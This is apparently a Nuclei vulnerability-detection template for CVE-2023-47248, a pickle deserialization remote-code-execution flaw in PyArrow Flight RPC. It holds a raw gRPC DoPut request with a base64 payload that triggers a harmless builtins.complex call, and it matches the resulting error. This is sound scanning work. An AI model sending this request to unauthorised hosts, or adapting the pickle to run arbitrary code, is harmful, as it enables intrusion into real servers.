id: CVE-2023-47248 info: name: PyArrow Flight RPC - Remote Code Execution author: smolse severity: critical description: | PyArrow Flight RPC from v0.14.0 through v14.0.0 allows remote attackers to execute arbitrary code via a maliciously crafted Python-defined extension type. impact: | Unauthenticated attackers can exploit deserialization vulnerabilities through maliciously crafted Python-defined extension types in Flight RPC to execute arbitrary code and completely compromise PyArrow installations. remediation: | Upgrade to PyArrow v14.0.1 or later. reference: - https://nvd.nist.gov/vuln/detail/CVE-2023-47248 - https://www.cve.org/CVERecord?id=CVE-2023-47248 - https://github.com/apache/arrow/commit/f14170976372436ec1d03a724d8d3f3925484ecf - https://github.com/smolse/poc-or-gtfo/tree/main/CVE-2023-47248 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-47248 cwe-id: CWE-502 epss-score: 0.14414 epss-percentile: 0.96245 cpe: cpe:2.3:a:apache:pyarrow:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: apache product: pyarrow tags: cve,cve2023,rce,arrow,pyarrow,apache,vkev,vuln http: - raw: - | POST /arrow.flight.protocol.FlightService/DoPut HTTP/1.1 Host: {{Hostname}} Content-Type: application/grpc Te: trailers Grpc-Accept-Encoding: identity, gzip, deflate {{base64_decode("AAAAAS0KBAgBGgASpAIQAAAAAAAKAAwABgAFAAgACgAAAAABBAAMAAAACAAIAAAABAAIAAAABAAAAAEAAAAYAAAAAAASABgACAAGAAcADAAAABAAFAASAAAAAAABDxQAAADMAAAACAAAABAAAAAAAAAAAAAAAAAAAAACAAAAVAAAAAQAAAC8////CAAAACAAAAAUAAAAQVJST1c6ZXh0ZW5zaW9uOm5hbWUAAAAAFwAAAGFycm93LnB5X2V4dGVuc2lvbl90eXBlAAgADAAEAAgACAAAAAgAAAAkAAAAGAAAAEFSUk9XOmV4dGVuc2lvbjptZXRhZGF0YQAAAAAmAAAAgASVGwAAAAAAAACMCGJ1aWx0aW5zlIwHY29tcGxleJSTlClSlC4AAAQABAAEAAAA")}} matchers-condition: and matchers: - type: word part: header words: - "'complex' object has no attribute 'storage_type'" - type: status status: - 200 # digest: 490a004630440220120daf897df187cafedebbbed982bb11dddecdf08c715d5751270aa6a9388c6602202de4f442affe0910888c88dc3b9c2b1da2ec91f78746ddae9645e971a239cc5d:922c64590222798bb761d5b6d8e72950